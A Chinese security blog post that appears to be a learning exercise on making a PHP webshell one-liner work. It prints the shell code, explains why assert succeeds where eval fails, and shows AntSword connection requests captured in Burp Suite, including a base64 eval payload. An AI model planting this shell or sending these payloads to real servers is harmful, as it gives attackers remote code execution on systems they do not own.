当前位置:网站首页>安全基础6 ---漏洞复现
安全基础6 ---漏洞复现
2022-07-25 19:25:00 【抱小猫】
工具:蚁剑、burpsuite
一句话木马:
<?php
$_POST['1']($_POST['2']);1、开始:我们想着把POST中的1传成:eval,这样就变成了eval($_POST['2]),此时就变成一个完美的一句话木马。
但是:这样的方式连接失败


失败原因:eval是一个语言构造而不是一个函数,不能被可变函数调用
PHP支持可变函数的概念,如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途。
2、这时,我们尝试使用assert函数测试

但是依然没有实现
3、这时我们将1提交为assert,2提交为eval($_POST[2])进行测试,这样提交参数相当于将PHP中代码变成了assert(eval($_POST[2]))

终于连接成功,说明这个方法是可行的
成功原因:assert在php中被认为是一个函数
4、如果我们1提交为assert,2提交为$_POST['chengke'],post里面为任意字符串,能否成功呢,我们再次进行成功

第一次,连接密码我们设置的为chengke,连接失败
第二次,我们把密码改成2时,显示连接成功

这时我们抓包测试一下
第一步:我们先在burpsuite 和蚁剑中设置代理


第二步:利用蚁剑发起连接请求用于抓包

可以通过抓包得到的信息开头为:1=assert&2=%40eval(%40base64_decode(%24_POST%5B'v723948492fd3c'%5D))%3B&v723948492fd3c=Q.......
可以看见2的里面多了一个eval函数,因为我们提交时用base64编码,所以其中使用eval函数对base64提供解码操作
若我们不使用编码器时,进行测试得到的结果为:
我们可以看见没有使用编码器时得到的信息2中没有eval函数,就只有一串字符串,然而只有字符串是无法执行assert函数,所以不使用编码器时是不行的。1=assert&2=%24_POST%5B'chengke'%5D&chengke=%40ini_set(%22display_........
由此可知,当我们选择base64编码器编码时,会自动生成eval函数对base64进行解码,然而我们刚好需要在2中有eval函数,此时就能使用assert从而生成一句话木马。
边栏推荐
猜你喜欢
随机推荐
Pymoo学习 (5):收敛性分析
小程序毕设作品之微信校园维修报修小程序毕业设计成品(7)中期检查报告
JS 基本类型 引用类型 深/浅克隆复制
Clip can also do segmentation tasks? The University of Gottingen proposed a model clipseg that uses text and image prompt and can do three segmentation tasks at the same time, squeezing out the clip a
网络数据包多层传输演示
Improvement of wechat applet 28 hot search list ①
Huawei recruited "talented teenagers" twice this year; 5.4 million twitter account information was leaked, with a selling price of $30000; Google fired engineers who believed in AI consciousness | gee
Hash undirected graph visualization
Flutter tips: optimizing the buildcontext you use
Actual combat of MySQL database design project of online mall system
哈希无向图可视化
Have you ever seen this kind of dynamic programming -- the stock problem of state machine dynamic programming (Part 1)
Fruit chain "siege": it's a journey of sweetness and bitterness next to apples
Solve the problem that the win10 account has no administrator rights
虹科分享|如何解决勒索软件安全漏洞
Imperial cms7.5 imitation "question and answer library" question and answer learning platform website source code with mobile version
聊聊接口性能优化的11个小技巧
Imeta | sangerbox: interactive integrated clinical information analysis platform
Swift 基础 Codable(JSONEncoder JSONDecoder)的使用
Basic mode of music theory








